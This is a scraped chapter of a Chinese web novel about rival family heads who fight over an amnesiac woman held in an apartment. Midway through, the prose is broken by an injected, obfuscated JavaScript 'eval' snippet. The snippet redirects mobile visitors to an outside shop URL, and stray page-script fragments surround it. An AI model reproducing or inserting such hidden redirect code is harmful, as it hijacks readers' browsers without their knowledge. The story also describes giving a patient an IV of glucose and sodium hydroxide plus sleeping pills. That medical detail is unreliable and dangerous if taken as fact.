文趣网 > 都市小说 > 春归梦里 > 9. 春归(9)
    吴羡也不是真心想伤害季覃音,被裴言这么一说,索性往一旁的沙发坐去,双手一摊,悠哉悠哉的吃起桌上的葡萄:“那你说,把她放哪?”

    吃了几颗葡萄,他又看向裴言扬言道:“裴言我可告诉你,季覃音她现在可是个没有记忆的人。这上城区的豺狼虎豹可一直没忘记季家这块'香饽饽'。你若将她自己一个人放在外面,这出了事,我可不管。”

    裴言眉头一蹙,目光沉了几分,看向他:“你知道?”

    吴羡勾唇嗤笑一声,把玩着手里那颗葡萄,语气里带着几分玩味:“我为什么不知道?”

    他顿了顿,将那葡萄抛进嘴里,咀嚼几下,看着裴言,声音压低了些:“你以为我爷爷不知道吴霁这些年一直在找寻季覃音的下落?他没阻止,不就是也想得到季家那把钥匙?”

    一座金山的诱惑可会让人“食欲"大增,当年季二惹来的灭门之祸,一部分不就是人们的贪欲吗?

    客厅里瞬间安静下来。

    裴言的脸色也微微变了变,看向沙发上吴羡,沉声问:“那你呢?”

    “我吗?”吴羡又拿起一个苹果啃了起来,自嘲地笑了一下,“我对钥匙和人都不感兴趣,也不是当家的那块料。反正吴霁已经是吴家的当家了,我呢,就老老实实做好吴家的纨绔子弟,每天吃吃喝喝,偶尔给吴霁惹点小麻烦就足够了。”

    裴言闻言,难得露出一点意外的神色,瞧着他笑了起来:“你倒是想得通透。”

    吴羡又嗤了一声,斜眼瞥他:“你裴大当家不也想得通透?”

    他咬了一口果肉,又继续揭他的短:“当年,你家那老不死的用你母亲威胁你,让你想办法得到季家金矿的位置,你前脚答应,后脚直接杀了他,自己做了当家。这比心狠手辣,我可比不过你。”

    一旁的裴言也慢慢坐下,端起桌上的茶抿了一口,随后看向吴羡,淡声打发:“你先回去,人我自会安排。”

    吴羡点点头站起身,走了两步才猛地反应过来,回头瞪着他:“不是,这是我公寓,要走也是你走!”

    裴言不紧不慢地放下茶杯,抬眸看他,语气淡淡的:“盛愿来了,你确定要留在这儿?”

    吴羡一听,脸色大变,眉头拧成一个川子,连声音都提高了几分:“那个疯子怎么来了!?”

    若说裴言心狠手辣,那盛愿更是不呈多让。

    话落,门外传来几声敲门声,小森从猫眼看了几眼,随后赶紧跑去客厅告诉吴羡,“爷,盛家那位来了。”

    吴羡瞧了眼沙发上依旧淡定坐着的裴言,狠了狠心:“走!”

    他前脚刚走,后脚就见小木傻乎乎往正门走去,他几个大步抬手往他后脑勺重重一拍,低声怒道:“走隐门!”

    随后,他快步走进书房,往书柜上的一本书轻轻往后一推,书柜很快移开,一道暗门就出现了。

    当初,他想着自己将来犯了错,防吴霁带人找上门来,特意装修时留的后路。没想到,今日还真用上了。

    吴羡进去后,小森小木紧随其后,门关上,书柜又恢复原位。

    门外的敲门声还在继续。

    吴羡走后,裴言起身将季覃音那间房的门轻轻关上,才悠哉悠哉走过去开门。

    他还没握住门把手,门外的盛愿已经把门打开了。

    他缩回手,好整以暇的看着怒气冲冲的盛愿,挂起一个官方的笑容:“小盛总,别来无恙。”

    盛愿找人心切,瞥了裴言一眼,侧身大步绕过他,进到了房间里,目光扫了一圈没见到人,但看到了紧闭的房间。

    盛愿眼眸微眯,抬脚就要往里走去,身后的裴言却突然出声,拦住了他。

    “找季小姐?”

    盛愿脚步顿住,侧身看他,眼神也瞬然凌厉了几分,沉声道:“你知道她在哪?”

    裴言没直说,只是朝他微微一笑:“我们谈谈?”

    盛愿蹙眉,面色一寒,手已经伸向裴言脆弱的脖颈。他没有用劲,只是将将掐住裴言的脖颈,声音阴郁沉冷。

    “你威胁我?”

    “裴言,别以为你现在是裴家当家的,我就不敢动你。你最好不要挑战我的耐心,你知道我疯起来是什么样?”

    对于这个曾经打过季覃音注意的人,盛愿向来没有好脸色。

    裴言依旧面不改色,笑着看他,又重复了一遍。

    “你不是想知道她在不在这里吗?盛愿,我们谈谈。”

    盛愿蹙眉,手用劲了两分,恶寒的盯着他看了两秒。“我与你没什么好谈的。”

    话落,盛愿用了劲,紧紧掐住裴言的脖颈。裴言见盛愿对他下了死手,反手扣住他的手腕,膝盖朝他两腿之间猛地一顶,两人电闪睛光,很快扭打在一起。

    桌子被撞歪,上面的青瓷花瓶瞬间摔落在地,声音大响。

    已经走出公寓的三人听见了屋内传来的动静。下楼的脚步一顿,小木忍不住回头看向公寓,担忧的问:“爷,咱们真不管裴医生?”

    “不用管他。”吴羡头也不回,脚下一步没停,脸色淡淡的,语气却急切万分:“倒是我们,再不回去,我这星期的零花钱就没了,你们的工钱也没了。”

    别的他不清楚,盛愿的身手保命还是绰绰有余。

    一听工资没了,小木瞬间收起对裴言的担心,转而对自己钱包的担忧:“……爷,这去西塘的费用能不能给我们报销。”

    吴羡瞥了他一眼,顿下脚步,怒道:“你还好意思提,要不是你们办事不力,不给她喂饭,让她低血糖犯了,我那公寓现在能被他们“侵占”吗?”

    他一想到他从潘家园淘来的晚清青花瓷碎了,他就一阵心疼。

    小木听他这么一说,委屈的低下头,哪还敢再开口。

    “……”吴羡瞧他那么高大的一人学人委屈,就一身恶寒:“行了,过几日和工资一起给你报销。”

    他也不知他妈从哪给他弄来的两个傻大个,安排在他身边。

    楼下的管家已经等候多时,瞧见吴羡,他恭身笑道:“二少爷,请。”

    —

    盛愿再一次掐上裴言的脖颈时,又很快松了手。转而他坐在沙发上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939394|213845||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,拿起托盘里干净的茶杯,给自己倒了一杯温茶,一饮而下。

    随后,他将茶杯搁下,看向裴言,目光投向紧闭的门:“我知道她在里面。裴言,把门打开。”

    裴言喘了几口气,拍了拍有些凌乱的衣服,重新戴上眼镜,看着他:“门我可以给你开,但我们待会得谈谈。”

    被逼烦的盛愿,只能先答应他:“好。”

    裴言从兜里掏出吴羡留给他的钥匙,不紧不慢地打开了卧室的门。

    身后的盛愿立即冲上前了,当看见真丝被褥里躺着的人真的是季覃音时。

    站在门口的盛愿反而不敢再往前一步。

    五年了,他找了她整整五年,如今她就这么安安静静地躺在他的面前,他却觉得像在做梦一样。

    他一走近,她就不见了。

    “进……”

    “嘘!”

    裴言看着面前有些不对劲的盛愿,索性闭嘴,当透明人。

    盛愿在门口看了良久,直到听了她一遍遍平稳的呼吸声,他才敢轻轻走过去,生怕惊扰了这个来之不易的美梦。

    小心翼翼的目光寸寸描过她的眉眼,连脚步都不自觉地放轻了。

    盛愿靠近床边,跪在那,双手轻轻握起她的手,埋脸蹭了蹭:“姐姐,我终于找到你了。”

    这一刻,他等的太久太久。

    门口的裴言却听得忍不住脸上抽搐了几下。

    当盛愿看到她闭着眼一动不动,抬头看着床头的挂瓶,心底的喜悦又瞬间被恐慌冲散。

    他猛地回头,目光淬了冰一般射向裴言,低声怒道:“你对她做了什么?”

    无聊的裴言靠在门框上,慢悠悠的抬起头,神情淡然的看向愤怒的盛愿,回:“低血糖犯了,我给她挂了葡萄糖和氢氧化钠,外加一点安眠药。”

    “安眠药?”盛愿霍然起身,一个健步又走进裴言身前,双眼瞪着他:“你居然给她下安眠药?”

    面对他的愤怒,裴言只是抬了抬眼皮,语气依旧不慌不忙:“她失忆了,醒过来就吵着要离开这里,我拦不住她,只能出此下策让她先安静下来。现在的荔城,于她可不安全。”

    他当然知道,那些在暗处的人可一直都没有放弃季家那把钥匙。

    盛愿面色虽不悦,但听裴言这一解释也熄了一些火。

    “她什么时候会醒?”

    “明早。”

    盛愿点了点头,目光又回到季覃音身上,像是要把这五年缺失的部分都补回来。

    裴言站在门口,也顺着他的目光看向床上的季覃音。被镜片挡住的目光藏着他自己都不知道的情绪,只是他早已做出选择。

    他收回目光,出声:“人你见过了,也确认过了。现在,可以谈谈我们的事了?”

    盛愿这才缓缓收回视线,转身,顺手带上了卧室的门,跟着裴言去到客厅。

    他这次没坐,而是站着,低垂眸看向沙发上的裴言,神色已经恢复了半分平日里的冷然孤傲。

    “说吧,你想和我谈什么?”

    “谈合作。”